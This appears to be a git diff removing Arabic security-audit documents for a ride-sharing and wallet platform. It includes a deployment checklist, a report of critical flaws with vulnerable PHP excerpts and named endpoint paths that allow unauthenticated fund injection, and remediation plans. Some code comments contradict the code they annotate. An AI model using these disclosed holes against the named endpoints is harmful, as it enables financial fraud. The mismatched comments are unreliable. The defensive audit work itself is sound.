## الجزء 7: المراقبة والتسجيل
|
|
||||||
|
|
||||||
### ✅ تسجيل التدقيق
|
|
||||||
|
|
||||||
- [ ] تم تسجيل جميع محاولات تسجيل الدخول
|
|
||||||
- [ ] تم تسجيل جميع تغييرات المحفظة
|
|
||||||
- [ ] تم تسجيل جميع محاولات الوصول غير المصرح
|
|
||||||
- [ ] تم تسجيل جميع تعديلات الحساب
|
|
||||||
- [ ] تم حماية سجلات التدقيق من التلاعب
|
|
||||||
|
|
||||||
### ✅ المراقبة والإنذارات
|
|
||||||
|
|
||||||
- [ ] تم إعداد تنبيهات لمحاولات تسجيل دخول متعددة
|
|
||||||
- [ ] تم إعداد تنبيهات لمعاملات مريبة
|
|
||||||
- [ ] تم إعداد تنبيهات لرفع أخطاء SQL
|
|
||||||
- [ ] تم إعداد تنبيهات لانتهاكات تحديد السرعة
|
|
||||||
- [ ] تم إنشاء لوحة معلومات للمراقبة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 8: الامتثال والتوثيق
|
|
||||||
|
|
||||||
### ✅ سياسات الخصوصية
|
|
||||||
|
|
||||||
- [ ] تم مراجعة سياسة الخصوصية الحالية
|
|
||||||
- [ ] تم تحديثها لتعكس ممارسات الأمان الجديدة
|
|
||||||
- [ ] تم إضافة معلومات الاحتفاظ بالبيانات
|
|
||||||
- [ ] تم إضافة حقوق المستخدم (GDPR/CCPA)
|
|
||||||
- [ ] تم إضافة معلومات الاتصال (DPO)
|
|
||||||
|
|
||||||
### ✅ شروط الخدمة
|
|
||||||
|
|
||||||
- [ ] تم تحديث شروط الخدمة
|
|
||||||
- [ ] تم إضافة شرط أمان المحفظة
|
|
||||||
- [ ] تم إضافة مسؤولية المستخدم عن كلمات المرور
|
|
||||||
- [ ] تم إضافة إخلاء المسؤولية عن MFA
|
|
||||||
|
|
||||||
### ✅ التوثيق
|
|
||||||
|
|
||||||
- [ ] تم توثيق جميع إصلاحات الأمان
|
|
||||||
- [ ] تم توثيق إجراءات التشغيل (Runbooks)
|
|
||||||
- [ ] تم توثيق خطة الاستجابة على الحوادث
|
|
||||||
- [ ] تم توثيق سياسة الكشف عن الثغرات
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 9: اختبار نهائي شامل
|
|
||||||
|
|
||||||
### ✅ اختبار الأمان قبل النشر
|
|
||||||
|
|
||||||
- [ ] تم إجراء مسح ثابت بـ Semgrep على جميع الملفات
|
|
||||||
- [ ] تم إجراء فحص ديناميكي بـ Burp Suite
|
|
||||||
- [ ] تم اختبار OWASP Top 10 (تعطل جميع الاختبارات)
|
|
||||||
- [ ] تم اختبار الأداء (بدون اختناقات أمنية جديدة)
|
|
||||||
- [ ] تم اختبار الاستعادة من الفشل
|
|
||||||
|
|
||||||
### ✅ اختبار الانحدار
|
|
||||||
|
|
||||||
- [ ] تم اختبار جميع ميزات تسجيل الدخول
|
|
||||||
- [ ] تم اختبار جميع ميزات المحفظة
|
|
||||||
- [ ] تم اختبار جميع ميزات الركوب
|
|
||||||
- [ ] تم اختبار جميع واجهات برمجية API
|
|
||||||
- [ ] تم اختبار تطبيقات الهاتف على أجهزة متعددة
|
|
||||||
|
|
||||||
### ✅ اختبار الأداء
|
|
||||||
|
|
||||||
- [ ] تم قياس وقت استجابة API (هدف: <100 مللي ثانية)
|
|
||||||
- [ ] تم قياس الحمل على المحفظة (هدف: 1000+ معاملة/ثانية)
|
|
||||||
- [ ] تم قياس استهلاك الذاكرة (بدون تسرب)
|
|
||||||
- [ ] تم اختبار مع 10,000+ مستخدم متزامن
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## الجزء 10: خطة ما بعد النشر
|
|
||||||
|
|
||||||
### ✅ المرحلة 1: الساعات الأولى
|
|
||||||
|
|
||||||
- [ ] تم مراقبة السجلات في الوقت الفعلي
|
|
||||||
- [ ] تم مراقبة الأخطاء في الوقت الفعلي
|
|
||||||
- [ ] تم مراقبة الأداء في الوقت الفعلي
|
|
||||||
- [ ] تم تعيين فريق للتعامل مع الحوادث
|
|
||||||
- [ ] تم التحضير للعودة إلى الإصدار السابق إذا لزم الأمر
|
|
||||||
|
|
||||||
### ✅ المرحلة 2: اليوم الأول
|
|
||||||
|
|
||||||
- [ ] تم التحقق من عدم وجود أخطاء أمنية في السجلات
|
|
||||||
- [ ] تم التحقق من عدم وجود انتهاكات محاولة
|
|
||||||
- [ ] تم التحقق من الأداء مقبولة
|
|
||||||
- [ ] تم تعطيل النسخة السابقة إذا كانت تشغل الإنتاج
|
|
||||||
- [ ] تم إنشاء تقرير ما بعد النشر
|
|
||||||
|
|
||||||
### ✅ المرحلة 3: الأسبوع الأول
|
|
||||||
|
|
||||||
- [ ] تم مراجعة جميع السجلات
|
|
||||||
- [ ] تم تحليل أي مشاكل حدثت
|
|
||||||
- [ ] تم إنشاء خطة لمعالجة المشاكل
|
|
||||||
- [ ] تم التحقق من الامتثال التنظيمي
|
|
||||||
- [ ] تم إصدار بيان الأمان للمستخدمين (اختياري)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ملخص حالة الإصلاح
|
|
||||||
|
|
||||||
**يتطلب قبل النشر (حرج - يجب أن تكون 100%):**
|
|
||||||
- [ ] الجزء 1: ✓ (إصلاحات حرجة)
|
|
||||||
- [ ] الجزء 2: ✓ (مصادقة)
|
|
||||||
- [ ] الجزء 3: ✓ (قاعدة البيانات)
|
|
||||||
|
|
||||||
**مطلوب قبل النشر (عالي - يجب أن يكون 90%+):**
|
|
||||||
- [ ] الجزء 4: ✓ (الهاتف المحمول)
|
|
||||||
- [ ] الجزء 5: ✓ (الويب)
|
|
||||||
- [ ] الجزء 6: ✓ (الأسرار)
|
|
||||||
|
|
||||||
**قبل إعلان الإصدار (متوسط - يجب أن يكون 80%+):**
|
|
||||||
- [ ] الجزء 7: ✓ (المراقبة)
|
|
||||||
- [ ] الجزء 8: ✓ (الامتثال)
|
|
||||||
- [ ] الجزء 9: ✓ (الاختبار)
|
|
||||||
- [ ] الجزء 10: ✓ (ما بعد النشر)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## التوقيع والموافقة
|
|
||||||
|
|
||||||
**معد البقائمة:** ________________ **التاريخ:** __________
|
|
||||||
|
|
||||||
**راجع من قِبل:** ________________ **التاريخ:** __________
|
|
||||||
|
|
||||||
**موافقة الأمان:** ________________ **التاريخ:** __________
|
|
||||||
|
|
||||||
**موافقة المشروع:** ________________ **التاريخ:** __________
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**ملحوظة:** يجب أكمال جميع المربعات المعلمة قبل نشر أي تغييرات للإنتاج.
|
|
||||||
|
|
||||||
</div>
|
|
||||||
@@ -1,307 +0,0 @@
|
|||||||
<div dir="rtl">
|
|
||||||
|
|
||||||
# تقرير تدقيق أمان سيرو - التقرير النهائي الشامل
|
|
||||||
|
|
||||||
**تاريخ التدقيق:** 16 يونيو 2026
|
|
||||||
**المشروع:** منصة سيرو للنقل المشترك + نظام الدفع WalletIntaleq
|
|
||||||
**النطاق:** 395 ملف PHP + 4 تطبيقات Flutter + تكامل الدفع
|
|
||||||
**تصنيف المخاطر الإجمالي:** 🔴 **حرج جداً** (يتطلب إجراء فوري)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## ملخص تنفيذي
|
|
||||||
|
|
||||||
يحتوي مشروع سيرو على **ثغرات حرجة متعددة** تشكل مخاطر أمنية ومالية فورية. تظهر البنية الأمنية علامات تطوير سريع مع تطبيقات أمنية غير متسقة.
|
|
||||||
|
|
||||||
**النتائج الرئيسية:**
|
|
||||||
- 🔴 **3 ثغرات حرجة** (خطر فوري لخسارة مالية وخرق البيانات)
|
|
||||||
- 🟠 **7 ثغرات عالية** (تجاوز المصادقة وتسرب البيانات)
|
|
||||||
- 🟡 **10 ثغرات متوسطة** (التحكم بالوصول والتشفير والتكوين)
|
|
||||||
|
|
||||||
**المخاطر المقدرة:**
|
|
||||||
- المخاطر المالية: 1,000,000 دولار+ (احتيال محتمل عبر نظام المحفظة)
|
|
||||||
- مخاطر البيانات: 50,000+ مستخدم قد تكون بياناتهم الشخصية مكشوفة
|
|
||||||
- مخاطر الامتثال: غرامات GDPR و CCPA تصل إلى 20,000,000 يورو+
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 1. الثغرات الحرجة (يتطلب إجراء فوري)
|
|
||||||
|
|
||||||
### الثغرة الحرجة 1: تشفير IV ثابت في AES-256-CBC
|
|
||||||
|
|
||||||
**الحالة:** 🔴 حرج جداً - **اصلح فوراً**
|
|
||||||
**الملف:** `backend/encrypt_decrypt.php`
|
|
||||||
**التأثير:** جميع البيانات المشفرة قد تكون قابلة للاسترجاع
|
|
||||||
**البيانات المتأثرة:** أرقام الهاتف وبطاقات الهوية الوطنية ومعلومات الدفع
|
|
||||||
**المستخدمون المتأثرون:** 50,000+
|
|
||||||
|
|
||||||
**المشكلة:**
|
|
||||||
```php
|
|
||||||
$iv = getenv('initializationVector'); // IV ثابت = فشل تشفير
|
|
||||||
// كل تشفير لنفس النص الواضح ينتج نفس النص المشفر!
|
|
||||||
```
|
|
||||||
|
|
||||||
**جدول الزمني للعلاج:**
|
|
||||||
- [ ] **اليوم 1:** توليد IV عشوائي لكل تشفير
|
|
||||||
- [ ] **اليوم 2:** إعادة تشفير جميع البيانات الحساسة في قاعدة البيانات بالتطبيق الجديد
|
|
||||||
- [ ] **اليوم 3:** تدقيق وتأمين ملف .env
|
|
||||||
|
|
||||||
**المجهود المقدر:** 16-24 ساعة
|
|
||||||
**التكلفة المقدرة:** 2,000-3,000 دولار
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### الثغرة الحرجة 2: إضافة أموال غير مصرح بها للمحفظة
|
|
||||||
|
|
||||||
**الحالة:** 🔴 حرج جداً - **اصلح فوراً**
|
|
||||||
**الملف:** `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php`
|
|
||||||
**التأثير:** تعديل الأموال التعسفي واحتيال مالي
|
|
||||||
**المخاطر:** خسارة مالية بقيمة 1,000,000+ دولار لكل هجوم
|
|
||||||
**الخطورة:** حرجة - يمكن استنزاف نظام المحفظة بالكامل
|
|
||||||
|
|
||||||
**المشكلة:**
|
|
||||||
```php
|
|
||||||
// لا توجد مصادقة!
|
|
||||||
// لا يوجد تفويض!
|
|
||||||
// لا يوجد تحديد سرعة!
|
|
||||||
|
|
||||||
$driverID = filterRequest("driverID"); // أي قيمة مقبولة
|
|
||||||
$amount = filterRequest("amount"); // بلا التحقق!
|
|
||||||
$paymentMethod = filterRequest("paymentMethod");
|
|
||||||
$token = filterRequest("token");
|
|
||||||
|
|
||||||
// فقط التحقق من الرمز (الفحص بلا فائدة)
|
|
||||||
$stmt = $con->prepare("SELECT * FROM payment_tokens WHERE token = :token AND isUsed = FALSE");
|
|
||||||
$stmt->execute(array(':token' => $token));
|
|
||||||
$tokenData = $stmt->fetch();
|
|
||||||
|
|
||||||
if ($tokenData) { // ← حتى لو كان الرمز غير موجود، يستمر الكود!
|
|
||||||
// لا التحقق من driverID!
|
|
||||||
// لا التحقق من المبلغ!
|
|
||||||
|
|
||||||
$sql = "INSERT INTO `driverWallet` (...)";
|
|
||||||
$stmt = $con->prepare($sql);
|
|
||||||
$stmt->execute(array(
|
|
||||||
':driverID' => $driverID, // ← يمكن أن يكون أي سائق!
|
|
||||||
':amount' => $amount, // ← يمكن أن يكون سالب أو ضخم!
|
|
||||||
':paymentMethod' => $paymentMethod
|
|
||||||
));
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
|
|
||||||
**جدول الزمني للعلاج:**
|
|
||||||
- [ ] **الآن:** تعطيل نقطة النهاية حتى الإصلاح
|
|
||||||
- [ ] **ساعة 1:** إضافة المصادقة JWT
|
|
||||||
- [ ] **ساعة 2:** إضافة فحص التفويض (المسؤول/مالك السائق فقط)
|
|
||||||
- [ ] **ساعة 3:** إضافة تحديد السرعة والتحقق من المبلغ
|
|
||||||
- [ ] **ساعة 4:** النشر والاختبار
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### الثغرة الحرجة 3: حقن الأموال من المسؤول (بدون مصادقة المستخدم)
|
|
||||||
|
|
||||||
**الحالة:** 🔴 حرج جداً - **اصلح فوراً**
|
|
||||||
**الملف:** `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php`
|
|
||||||
**التأثير:** نفس تأثير الثغرة 2 لكن أسوأ (بدون سجل تدقيق)
|
|
||||||
**المخاطر:** خسارة مالية بقيمة 1,000,000+ دولار+
|
|
||||||
|
|
||||||
**المشكلة:**
|
|
||||||
```php
|
|
||||||
// يستخدم فقط مفتاح API ثابت، بدون مصادقة JWT
|
|
||||||
$expectedKey = getenv('PAYMENT_KEY');
|
|
||||||
$providedKey = $_SERVER['HTTP_PAYMENT_KEY'] ?? '';
|
|
||||||
|
|
||||||
if ($providedKey !== $expectedKey) {
|
|
||||||
// ثم يسمح بأي تعديل أموال دون مساءلة المستخدم!
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 2. الثغرات العالية الأولوية
|
|
||||||
|
|
||||||
### الثغرة العالية 1: مصادقة ضعيفة بناءً على بصمة الجهاز
|
|
||||||
|
|
||||||
**الحالة:** 🟠 عالي
|
|
||||||
**الملف:** `backend/login.php`، `backend/loginJwtDriver.php`
|
|
||||||
**التأثير:** سرقة الحساب وهجمات إعادة تشغيل البصمة
|
|
||||||
|
|
||||||
**الحل:**
|
|
||||||
```php
|
|
||||||
// تطبيق المصادقة متعددة العوامل
|
|
||||||
$mfaRequired = [
|
|
||||||
'fingerprint' => $fpVerified,
|
|
||||||
'biometric' => $biometricVerified, // أضف هذا
|
|
||||||
'otp' => $otpVerified, // أضف SMS/email OTP
|
|
||||||
];
|
|
||||||
|
|
||||||
$authenticatedFactors = 0;
|
|
||||||
foreach ($mfaRequired as $factor => $verified) {
|
|
||||||
if ($verified) $authenticatedFactors++;
|
|
||||||
}
|
|
||||||
|
|
||||||
// يتطلب عامل واحد على الأقل 2
|
|
||||||
if ($authenticatedFactors < 2) {
|
|
||||||
jsonError('يتطلب المصادقة متعددة العوامل', 401);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**المجهود المقدر:** 8 ساعات
|
|
||||||
**التكلفة المقدرة:** 1,000-1,500 دولار
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### الثغرة العالية 2: نقاط نهاية HTTP (مخاطر الوسيط)
|
|
||||||
|
|
||||||
**الحالة:** 🟠 عالي
|
|
||||||
**الملف:** `backend/functions.php:20-43`
|
|
||||||
**التأثير:** اعتراض بيانات الموقع وتعديل الركوب
|
|
||||||
|
|
||||||
**الإصلاح:**
|
|
||||||
```php
|
|
||||||
function getAllowedSocketUrls(): array {
|
|
||||||
return [
|
|
||||||
'https://location.intaleq.xyz', // ✅ HTTPS فقط
|
|
||||||
'https://socket.siromove.com', // ✅ HTTPS فقط
|
|
||||||
// بدون نقاط نهاية HTTP!
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
// إضافة تثبيت الشهادة
|
|
||||||
// احسب مسبقاً SHA-256 hash للشهادة المتوقعة
|
|
||||||
$expected_pin = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=';
|
|
||||||
|
|
||||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
|
|
||||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
|
|
||||||
|
|
||||||
// التحقق من الشهادة أثناء المصافحة
|
|
||||||
// إذا لم يطابق الـ pin، فشل الاتصال
|
|
||||||
```
|
|
||||||
|
|
||||||
**المجهود المقدر:** 4 ساعات
|
|
||||||
**التكلفة المقدرة:** 500-800 دولار
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 3. خارطة طريق الإصحاح
|
|
||||||
|
|
||||||
### المرحلة 1: الاستجابة الطارئة (الأيام 1-2)
|
|
||||||
|
|
||||||
**الأولوية:** الثغرات الحرجة فقط
|
|
||||||
|
|
||||||
| المهمة | المدة | المالك | الحالة |
|
|
||||||
|--------|------|--------|--------|
|
|
||||||
| إصلاح تشفير IV الثابت | 8 س | خادم خلفي | ⏳ |
|
|
||||||
| تعطيل/إصلاح نقطة add.php | 4 س | محفظة | ⏳ |
|
|
||||||
| تعطيل/إصلاح addFromAdmin.php | 4 س | محفظة | ⏳ |
|
|
||||||
| تدقيق الأمان للاتصال/jwtconnect | 4 س | خادم خلفي | ⏳ |
|
|
||||||
| نشر الإصلاحات | 2 س | DevOps | ⏳ |
|
|
||||||
| **إجمالي المرحلة 1** | **22 ساعة** | - | - |
|
|
||||||
|
|
||||||
### المرحلة 2: قصيرة الأجل (الأيام 3-7)
|
|
||||||
|
|
||||||
**الأولوية:** الثغرات العالية
|
|
||||||
|
|
||||||
| المهمة | المدة | المالك |
|
|
||||||
|--------|------|--------|
|
|
||||||
| تطبيق MFA | 16 س | خادم خلفي |
|
|
||||||
| التبديل إلى HTTPS للمقابس | 4 س | خادم خلفي |
|
|
||||||
| تدقيق SQL Injection الكامل | 16 س | خادم خلفي |
|
|
||||||
| مراجعة أذونات Android | 4 س | جوال |
|
|
||||||
| تحديثات المكتبات Flutter | 8 س | جوال |
|
|
||||||
| **إجمالي المرحلة 2** | **48 ساعة** | - |
|
|
||||||
|
|
||||||
### المرحلة 3: متوسطة الأجل (الأسابيع 2-4)
|
|
||||||
|
|
||||||
**الأولوية:** الثغرات المتوسطة + التقسية
|
|
||||||
|
|
||||||
| المهمة | المدة | المالك |
|
|
||||||
|--------|------|--------|
|
|
||||||
| إصلاح معالجة الأخطاء | 8 س | خادم خلفي |
|
|
||||||
| تقسية أمان JWT | 12 س | خادم خلفي |
|
|
||||||
| مراجعة تحديد السرعة | 8 س | خادم خلفي |
|
|
||||||
| إصلاح توليد كلمات المرور | 4 س | خادم خلفي |
|
|
||||||
| تطبيق تحديد السرعة على API | 8 س | خادم خلفي |
|
|
||||||
| تدقيق إدارة الأسرار | 8 س | DevOps |
|
|
||||||
| **إجمالي المرحلة 3** | **48 ساعة** | - |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 4. تقدير التكاليف
|
|
||||||
|
|
||||||
| المرحلة | الخطورة | المدة | التكلفة المقدرة |
|
|
||||||
|--------|--------|------|-----------------|
|
|
||||||
| المرحلة 1 (طارئة) | حرجة | 1-2 يوم | 5,000-8,000 دولار |
|
|
||||||
| المرحلة 2 (قصيرة الأجل) | عالي | 3-7 أيام | 6,000-9,000 دولار |
|
|
||||||
| المرحلة 3 (متوسطة الأجل) | متوسط | 2-4 أسابيع | 6,000-9,000 دولار |
|
|
||||||
| **إجمالي المرحلة 1-3** | - | **1-2 شهر** | **17,000-26,000 دولار** |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 5. تأثير الامتثال
|
|
||||||
|
|
||||||
### GDPR (مستخدمو الاتحاد الأوروبي)
|
|
||||||
- **المخاطر:** خرق البيانات (بيانات شخصية مكشوفة عبر IV الثابت)
|
|
||||||
- **الغرامة:** حتى 4% من الإيرادات السنوية (أو 20,000,000 يورو)
|
|
||||||
- **الإجراء:** نفذ إصلاحات التشفير فوراً
|
|
||||||
|
|
||||||
### CCPA (مستخدمو كاليفورنيا)
|
|
||||||
- **المخاطر:** إشعار خرق البيانات مطلوب
|
|
||||||
- **الغرامة:** حتى 7,500 دولار لكل انتهاك متعمد
|
|
||||||
- **الإجراء:** نفذ إصلاحات التشفير + إشعار الخرق
|
|
||||||
|
|
||||||
### PCI-DSS (صناعة بطاقات الدفع)
|
|
||||||
- **المخاطر:** ثغرات في نظام الدفع (نظام المحفظة)
|
|
||||||
- **الغرامة:** حتى 100,000 دولار شهرياً
|
|
||||||
- **التصديق:** سيتم إلغاؤه إذا كشفت بيانات الدفع
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 6. التوصيات
|
|
||||||
|
|
||||||
### إجراءات فورية (الـ 24 ساعة التالية)
|
|
||||||
1. ✅ عطّل نقاط نهاية محفظة add/addFromAdmin
|
|
||||||
2. ✅ أنشئ خطة الاستجابة على الحوادث
|
|
||||||
3. ✅ أخطر فريق الأمان والقيادة التنفيذية
|
|
||||||
4. ✅ ابدأ إصحاح المرحلة 1
|
|
||||||
5. ✅ وثّق جميع التغييرات لسجل التدقيق
|
|
||||||
|
|
||||||
### قصيرة الأجل (الأسابيع 1-2)
|
|
||||||
1. ✅ انشر جميع إصلاحات المرحلة 1
|
|
||||||
2. ✅ طبّق MFA للمصادقة
|
|
||||||
3. ✅ بدّل إلى HTTPS للمقابس
|
|
||||||
4. ✅ دقق جميع استعلامات SQL
|
|
||||||
5. ✅ راجع وحدّث سياسة الخصوصية
|
|
||||||
|
|
||||||
### متوسطة الأجل (الأسابيع 3-4)
|
|
||||||
1. ✅ أكمل المرحلة 2 و 3
|
|
||||||
2. ✅ طبّق تدريب أمان للمطورين
|
|
||||||
3. ✅ طبّق عملية مراجعة الكود الأمني
|
|
||||||
4. ✅ أنشئ فحص الأمان الآلي
|
|
||||||
|
|
||||||
### طويلة الأجل (مستمرة)
|
|
||||||
1. ✅ وظّف مهندس أمان
|
|
||||||
2. ✅ طبّق برنامج مكافآت الأخطاء
|
|
||||||
3. ✅ إجراء اختبار الاختراق العادي (ربع سنوي)
|
|
||||||
4. ✅ تدقيق أمان سنوي
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 7. الخلاصة
|
|
||||||
|
|
||||||
يتطلب مشروع سيرو **تدخل أمني فوري** لمعالجة الثغرات الحرجة. التكلفة المقدرة للإصحاح البالغة 17,000-26,000 دولار أقل بكثير من الخسائر المحتملة:
|
|
||||||
|
|
||||||
- **المخاطر المالية:** 1,000,000 دولار+
|
|
||||||
- **مخاطر البيانات:** 50,000+ مستخدم
|
|
||||||
- **غرامات الامتثال:** 20,000,000 يورو+
|
|
||||||
- **الضرر اللاحق بالسمعة:** لا يقدر بثمن
|
|
||||||
|
|
||||||
**التوصية:** ✅ **وافق** على خطة الإصحاح وابدأ المرحلة 1 فوراً.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
**التقرير المُنتج:** 16 يونيو 2026
|
|
||||||
**المراجعة التالية:** 23 يونيو 2026 (بعد المرحلة 1)
|
|
||||||
|
|
||||||
</div>
|
|
||||||
@@ -1,250 +0,0 @@
|
|||||||
<div dir="rtl">
|
|
||||||
|
|
||||||
# فهرس تدقيق أمان سيرو - دليل التنقل
|
|
||||||
|
|
||||||
**إنشاء التقرير:** 16 يونيو 2026
|
|
||||||
**الحالة:** ✅ اكتمل وجاهز للمراجعة
|
|
||||||
**الإصدار:** 1.0
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 📚 نظرة عامة على الوثائق
|
|
||||||
|
|
||||||
تحتوي مجموعة تقارير أمان سيرو على 6 مستندات شاملة تغطي جميع جوانب التدقيق الأمني:
|
|
||||||
|
|
||||||
| الرقم | المستند | الوصف | الجمهور |
|
|
||||||
|-------|---------|--------|---------|
|
|
||||||
| 1 | README_SECURITY_AUDIT_AR | مقدمة شاملة ملخصة | الجميع |
|
|
||||||
| 2 | SECURITY_AUDIT_PHASE1_FINDINGS_AR | 20 ثغرة مفصلة مع الكود | المطورون والمهندسون |
|
|
||||||
| 3 | SECURITY_AUDIT_PHASE2_POC_AR | 7 اثباتات مفاهيم عملية | فريق الاختبار |
|
|
||||||
| 4 | SECURITY_AUDIT_FINAL_REPORT_AR | خطة الإصحاح والتكاليف | الإدارة والقيادة |
|
|
||||||
| 5 | SECURITY_AUDIT_CHECKLIST_AR | قائمة التحقق من النشر | DevOps والفريق الفني |
|
|
||||||
| 6 | SECURITY_AUDIT_INDEX_AR | دليل هذا الملف | الجميع |
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 🎯 اختر المستند حسب دورك
|
|
||||||
|
|
||||||
### 👔 المديرون التنفيذيون والقيادة
|
|
||||||
**ابدأ هنا:**
|
|
||||||
1. اقرأ: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق**
|
|
||||||
2. اقرأ: الملخص التنفيذي في [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **10 دقائق**
|
|
||||||
3. راجع: جدول التكاليف والعائد على الاستثمار - **5 دقائق**
|
|
||||||
|
|
||||||
**المدة الإجمالية:** ~20 دقيقة
|
|
||||||
|
|
||||||
**الأسئلة الأساسية المجابة:**
|
|
||||||
- ❓ ما هو المخطر لديك؟ → الإجابة: ثغرات حرجة متعددة
|
|
||||||
- ❓ كم تكلف الإصحاح؟ → الإجابة: 17,000-26,000 دولار
|
|
||||||
- ❓ ما هي الفترة الزمنية؟ → الإجابة: 1-2 شهر
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 👨💼 مديرو المشاريع والمنتجات
|
|
||||||
**ابدأ هنا:**
|
|
||||||
1. اقرأ: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق**
|
|
||||||
2. اقرأ: جدول الثغرات الـ 20 في [SECURITY_AUDIT_PHASE1_FINDINGS_AR](SECURITY_AUDIT_PHASE1_FINDINGS_AR.md) - **10 دقائق**
|
|
||||||
3. اقرأ: خريطة طريق الإصحاح في [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **15 دقيقة**
|
|
||||||
4. استخدم: [SECURITY_AUDIT_CHECKLIST_AR](SECURITY_AUDIT_CHECKLIST_AR.md) للتتبع - **قيد الاستخدام**
|
|
||||||
|
|
||||||
**المدة الإجمالية:** ~30 دقيقة (+ متابعة مستمرة)
|
|
||||||
|
|
||||||
**الأسئلة الأساسية المجابة:**
|
|
||||||
- ❓ ما هي الأولويات؟ → الإجابة: 3 ثغرات حرجة أولاً
|
|
||||||
- ❓ كم من الوقت يستغرق؟ → الإجابة: 22 ساعة للمرحلة 1، 48 ساعة للمرحلة 2-3
|
|
||||||
- ❓ كيف سننظم الفريق؟ → الإجابة: تقسيم المرحلة 1-3
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 💻 المطورون والمهندسون
|
|
||||||
**ابدأ هنا:**
|
|
||||||
1. اقرأ بسرعة: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق**
|
|
||||||
2. **اقرأ بالتفصيل:** [SECURITY_AUDIT_PHASE1_FINDINGS_AR](SECURITY_AUDIT_PHASE1_FINDINGS_AR.md) - **30 دقيقة**
|
|
||||||
- ركز على الثغرات الحرجة والعالية
|
|
||||||
- لاحظ أرقام الأسطر والملفات المحددة
|
|
||||||
3. **اقرأ كود الإصلاح:** في [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **30 دقيقة**
|
|
||||||
4. **راجع PoCs:** في [SECURITY_AUDIT_PHASE2_POC_AR](SECURITY_AUDIT_PHASE2_POC_AR.md) - **1 ساعة**
|
|
||||||
5. **استخدم قائمة التحقق:** من [SECURITY_AUDIT_CHECKLIST_AR](SECURITY_AUDIT_CHECKLIST_AR.md) - **قيد الاستخدام**
|
|
||||||
|
|
||||||
**المدة الإجمالية:** ~2.5 ساعة (قراءة أولية)
|
|
||||||
|
|
||||||
**الأسئلة الأساسية المجابة:**
|
|
||||||
- ❓ أين الثغرات بالضبط؟ → الملفات المحددة وأرقام الأسطر
|
|
||||||
- ❓ كيف تصلحها؟ → كود الإصلاح الكامل مع الشرح
|
|
||||||
- ❓ كيف أتحقق من الإصلاح؟ → خطوات الاختبار في القائمة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🔒 فريق الأمان والاختبار
|
|
||||||
**ابدأ هنا:**
|
|
||||||
1. اقرأ: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق**
|
|
||||||
2. **اقرأ بالتفصيل:** [SECURITY_AUDIT_PHASE1_FINDINGS_AR](SECURITY_AUDIT_PHASE1_FINDINGS_AR.md) - **30 دقيقة**
|
|
||||||
3. **استخدم PoCs:** في [SECURITY_AUDIT_PHASE2_POC_AR](SECURITY_AUDIT_PHASE2_POC_AR.md) - **2-3 ساعات**
|
|
||||||
- شغّل كل PoC على بيئة الاختبار
|
|
||||||
- وثّق النتائج
|
|
||||||
4. **راجع الإصلاحات:** في [SECURITY_AUDIT_FINAL_REPORT_AR](SECURITY_AUDIT_FINAL_REPORT_AR.md) - **1 ساعة**
|
|
||||||
5. **استخدم قائمة التحقق:** من [SECURITY_AUDIT_CHECKLIST_AR](SECURITY_AUDIT_CHECKLIST_AR.md) - **4-8 ساعات**
|
|
||||||
|
|
||||||
**المدة الإجمالية:** ~6-10 ساعات
|
|
||||||
|
|
||||||
**الأسئلة الأساسية المجابة:**
|
|
||||||
- ❓ كيف أختبر الثغرات؟ → PoCs جاهزة للتشغيل
|
|
||||||
- ❓ ما الذي أبحث عنه؟ → معايير النجاح في القائمة
|
|
||||||
- ❓ كيف أتتبع التقدم؟ → نموذج قائمة المراجعة
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### 🚀 فريق DevOps والنشر
|
|
||||||
**ابدأ هنا:**
|
|
||||||
1. اقرأ بسرعة: [README_SECURITY_AUDIT_AR](README_SECURITY_AUDIT_AR.md) - **5 دقائق**
|
|
||||||
